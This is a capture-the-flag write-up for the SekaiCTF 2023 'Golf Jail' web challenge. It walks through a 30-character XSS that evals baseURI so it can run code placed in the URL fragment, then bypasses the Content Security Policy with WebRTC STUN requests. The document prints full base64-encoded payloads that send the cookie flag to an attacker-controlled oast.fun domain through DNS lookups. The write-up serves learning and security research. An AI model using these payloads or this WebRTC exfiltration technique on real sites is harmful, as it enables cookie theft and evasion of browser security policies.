SekaiCTF 2023: Golf Jail (Web)
2023-08-28
This was a pretty difficult Web challenge (4 stars out of 5) and has been solved by 16 teams.
I was not able to solve this challenge but I’ve learned many things and I believe it’s worth to analyze it and discuss the solution.
Challenge description
The challenge is hosted at https://golfjail.chals.sekai.team/ and it follows a common patter for XSS challenges: you have a website where you need to trigger an XSS and then you must send the malicious link to the administrator (a bot program) which will visit the provided URL and will get the XSS triggered.
We are provided with the following PHP source code (golfjail.php
), which is straight forward and reveals our final goal (steal the administrator/bot cookie, which is actually the flag):
<?php
header("Content-Security-Policy: default-src 'none'; frame-ancestors 'none'; script-src 'unsafe-inline' 'unsafe-eval';");
header("Cross-Origin-Opener-Policy: same-origin");
$payload = "🚩🚩🚩";
if (isset($_GET["xss"]) && is_string($_GET["xss"]) && strlen($_GET["xss"]) <= 30) {
$payload = $_GET["xss"];
}
$flag = "SEKAI{test_flag}";
if (isset($_COOKIE["flag"]) && is_string($_COOKIE["flag"])) {
$flag = $_COOKIE["flag"];
}
?>
<!DOCTYPE html>
<html>
<body>
<iframe
sandbox="allow-scripts"
srcdoc="<!-- <?php echo htmlspecialchars($flag) ?> --><div><?php echo htmlspecialchars($payload); ?></div>"
></iframe>
</body>
</html>
From the source code we can immediately notice that:
- There is a very restrictive CSP policy: even though we can execute JavaScript code and
eval
(thanks to theunsafe-inline
andunsafe-eval
keywords), due to thedefault-src: none
directive we shouldn’t be able to let the administrator to connect back to our controlled server in order to get his cookie (the flag) - The application looks for a URL parameter
xss
which is then filtered byhtmlspecialchars
and included within thesrcdoc
attribute of aniframe
: howeverxss
has to be a string and moreover it needs to be less or equal 30 characters (that sounds scary!) - The
iframe
were our payload is included, is sandboxed and only allows scripts to be executed. Furthermore our payload, will be inside thesrcdoc
attribute, which means that the iframe we control, will inherit the CSP policy of his parent (which is really restrictive as we saw before) - The fact that our payload is filtered by
htmlspecialchars
doesn’t really add any protection, sincesrcdoc
works fine with HTML entities
So basically we have 2 main problems:
- Find a way to execute arbitrary XSS using only <= 30 characters (!)
- Bypass the CSP policy to let the admin execute our payload and exfiltrate the cookie flag
Execute arbitrary JavaScript code
We know that we can execute XSS (including eval
), but we are limited to only 30 characters which is not enough to do interesting stuff.
However, we can use an amazing trick that will allow us to execute any JavaScript we want. We know that the URL can have a URI fragment identifier which can be found at the end of the URL and it starts with the #
symbol. For example the following URL:
https://www.example.com?param1=x¶m2=y#This_is_the_fragment_identifier
has the URI fragment identifier #This_is_the_fragment_identifier
. In JavaScript we can access this value by using the location.hash
property. What if we could eval(location.hash)
? We could basically bypass the 30 character limitation and execute whatever we want.
Unfortunately it’s not that easy: first of all, even using the shortest (known) XSS vector, we are already over 30 characters. We could use the following:
https://golfjail.chals.sekai.team/golfjail.php?xss=<svg/onload=eval(location.hash)>
but our payload it’s already 32 characters long. Moreover, we need to remember that we are running this JavaScript within the scope of the child iframe
. So even if we could execute this payload, location.hash
would return the empty string ''
. That’s because the iframe
location
object is sandboxed from the parent window (where we have our URI fragment identifier).
So how can we overcome this issue?
Any Node
of the DOM, has a property named baseURI
. This property returns absolute base URL of the document containing the node. Let’s try this in a browser console:
So this property allows us to retrieve the entire URI (which include the URI fragment where we can place our arbitrary XSS to execute).
However we can’t use <svg/onload=eval(document.baseURI)>
because it’s already 35 characters long. But the good news is that we can just remove document
and executing <svg/onload=eval(baseURI)>
will evaluate the baseURI
property (which of course will throw a syntax error at the moment). But wait: why we can access the baseURI
property directly?
We can analyze this behavior by setting a breakpoint on the onload
event of the svg
tag. Since the eval
is called when the onload
event triggers (i.e. when the svg
tag is loaded), we have the svg
node in our scope, so we can access its baseURI
directly:
And we can confirm it using the console:
So now we can execute arbitrary JS, but we still need to do another small trick to get this working. We can’t just eval(baseURI)
because it will throw a syntax error (as a matter of fact we are trying to evaluate the string https://golfjail.chals.sekai.team/?xss=<svg/onload=eval(baseURI)>#my_payload_here;
which is not syntactically correct). We can fix the issue using the following trick:
<svg/onload=eval("'"+baseURI)>#';console.log(1)
First we concatenate the single quote string '
with the BaseURI
and the resulting string is evaluated by eval
.
So basically eval
will evaluate the following string:
'https://golfjail.chals.sekai.team/?xss=%3Csvg/onload=eval(%22%27%22%2bbaseURI)%3E#';console.log(1)
Which is a valid JavaScript expression and has the effect of printing 1 to the console. We have now arbitrary XSS payload execution!
Bypassing CSP using WebRTC
Now that we can execute arbitrary JavaScript, the question is: how can we bypass the very restrictive CSP policy? Remember that the default-src
directive is set to none
and none of the connect-src
, img-src
etc.. are declared, so all of them will fallback to the default policy.
This is where I discovered something unexpected I was not aware of.
If you look at the following Github issue of the w3c project, it turns out that the WebRTC (a technology commonly used for real time audio/video communication for the Web) doesn’t fulfill the CSP policy.
It means that we can create a RTCPeerConnection object in our payload and initiating a WebRTC connection that will not be blocked by the CSP policy! We dont' even need to deploy an actual RTC server because we can get the data just by using DNS data exfiltration.
This is how we can create an RTCPeerConnection in JavaScript:
pc = new RTCPeerConnection({"iceServers":[{"urls":["stun:"+ "data_i_want_to_exfiltrate"+"."+"mydomain.com"]}]});pc.createOffer({offerToReceiveAudio:1}).then(o=>pc.setLocalDescription(o));
So basically what we need to do is just retrieve the data we want and prepend it as a subdomain for our controlled domain “mydomain.com”. We can use the free service interactsh to detect out-of-band DNS interactions.
Since the flag is the first node of the current document, we can get it by using:
document.firstChild.data
The last problem is that since we want to exfiltrate the flag through DNS request and domain names only allows [a-zA-Z0-9-] (digits,letters and hyphens) we need to “tranform” the flag to a RFC compliant DNS name.
To achieve these last points, we can just translate each flag character to its numeric UTF-16 code representation (using charCodeAt
) and then by applying the function toString
with the radix parameter 16 to get the hexadecimal representation of the character. Lastly, we use join to get the final string and we prepend it as subdomain of our controlled domain:
document.firstChild.data.split("").map(x=>x.charCodeAt(0).toString(16)).join("")+"."+"ckp7nrz2vtc0000756fggj5d4hoyyyyyb.oast.fun"
But there is a small details that can prevent our payload to work properly: we just translated all the flag’s characters (we don’t know how many characters ths flag is) to hexadecimal representation. So each character becomes 2 values (i.e ‘a’ is equal to ‘61’ in hex). This might be an issue: each label of a domain name can have at most 63 characters. So if we exceed this value, the DNS query will fail and we’ll not get the out-of-band interaction.
I couldn’t find a clever way to solve this issue, if not by limiting the leaked flag to exactly 63 character, and then sending again the (properly modified) payload to check if we got the entire flag or not.
So this will be our final payload for the xss
parameter:
<svg/onload=eval("'"+baseURI)>#';pc=new RTCPeerConnection({"iceServers":[{"urls":["stun:"+document.firstChild.data.substring(7,document.firstChild.data.length-2).split("").map(x=>x.charCodeAt(0).toString(16)).join("").substr(0,62)+"."+"ckp7nrz2vtc0000756fggj5d4hoyyyyyb.oast.fun"]}]});pc.createOffer({offerToReceiveAudio:1}).then(o=>pc.setLocalDescription(o));
Now, we can just Base64 encode the payload (after the ;
) and use eval
on it, otherwise the browser will automatically encode special characters and the paylod will break.
So, the final payload will be:
https://golfjail.chals.sekai.team/?xss=<svg/onload%3deval("'"%2bbaseURI)>#';eval(atob('cGMgPSBuZXcgUlRDUGVlckNvbm5lY3Rpb24oeyJpY2VTZXJ2ZXJzIjpbeyJ1cmxzIjpbInN0dW46Iitkb2N1bWVudC5maXJzdENoaWxkLmRhdGEuc3Vic3RyaW5nKDcsZG9jdW1lbnQuZmlyc3RDaGlsZC5kYXRhLmxlbmd0aC0yKS5zcGxpdCgiIikubWFwKHg9PnguY2hhckNvZGVBdCgwKS50b1N0cmluZygxNikpLmpvaW4oIiIpLnN1YnN0cigwLDYyKSsiLiIrImNrcDducnoydnRjMDAwMDc1NmZnZ2o1ZDRob3l5eXl5Yi5vYXN0LmZ1biJdfV19KTtwYy5jcmVhdGVPZmZlcih7b2ZmZXJUb1JlY2VpdmVBdWRpbzoxfSkudGhlbihvPT5wYy5zZXRMb2NhbERlc2NyaXB0aW9uKG8pKTs='))
Now, if we send this link to the admin/bot, it will immediately visit it. This will trigger the XSS payload and then we’ll receive a DNS request for a domain name that will include the flag.
If we “hex decode” the value of the subdomain we get:
jsjails_4re_b3tter_th4n_pyjai1s
Which looks like a valid flag.. But since it is 31 characters long (we got all the 62 available values from the DNS request), we still need to verify that we grabbed the whole flag. So we need to perform another request by shifting the flag at index 62 (we can use substring
):
<svg/onload=eval("'"+baseURI)>#';pc=new RTCPeerConnection({"iceServers":[{"urls":["stun:"+document.firstChild.data.substring(7,document.firstChild.data.length-2).split("").map(x=>x.charCodeAt(0).toString(16)).join("").substr(62)+"."+"ckp7nrz2vtc0000756fggj5d4hoyyyyyb.oast.fun"]}]});pc.createOffer({offerToReceiveAudio:1}).then(o=>pc.setLocalDescription(o));
And if send again the Base64 encoded payload to the admin/bot:
https://golfjail.chals.sekai.team/?xss=<svg/onload%3deval("'"%2bbaseURI)>#';eval(atob('cGM9bmV3IFJUQ1BlZXJDb25uZWN0aW9uKHsiaWNlU2VydmVycyI6W3sidXJscyI6WyJzdHVuOiIrZG9jdW1lbnQuZmlyc3RDaGlsZC5kYXRhLnN1YnN0cmluZyg3LGRvY3VtZW50LmZpcnN0Q2hpbGQuZGF0YS5sZW5ndGgtMikuc3BsaXQoIiIpLm1hcCh4PT54LmNoYXJDb2RlQXQoMCkudG9TdHJpbmcoMTYpKS5qb2luKCIiKS5zdWJzdHIoNjIpKyIuIisiY2twN25yejJ2dGMwMDAwNzU2ZmdnajVkNGhveXl5eXliLm9hc3QuZnVuIl19XX0pO3BjLmNyZWF0ZU9mZmVyKHtvZmZlclRvUmVjZWl2ZUF1ZGlvOjF9KS50aGVuKG89PnBjLnNldExvY2FsRGVzY3JpcHRpb24obykp'))
We get an additional DNS out-of-band interaction which includes an additional character (‘21’ hex, which is ‘!')
So if we put everything together, we get the complete flag:
SEKAI{jsjails_4re_b3tter_th4n_pyjai1s!}
What a crazy challenge!!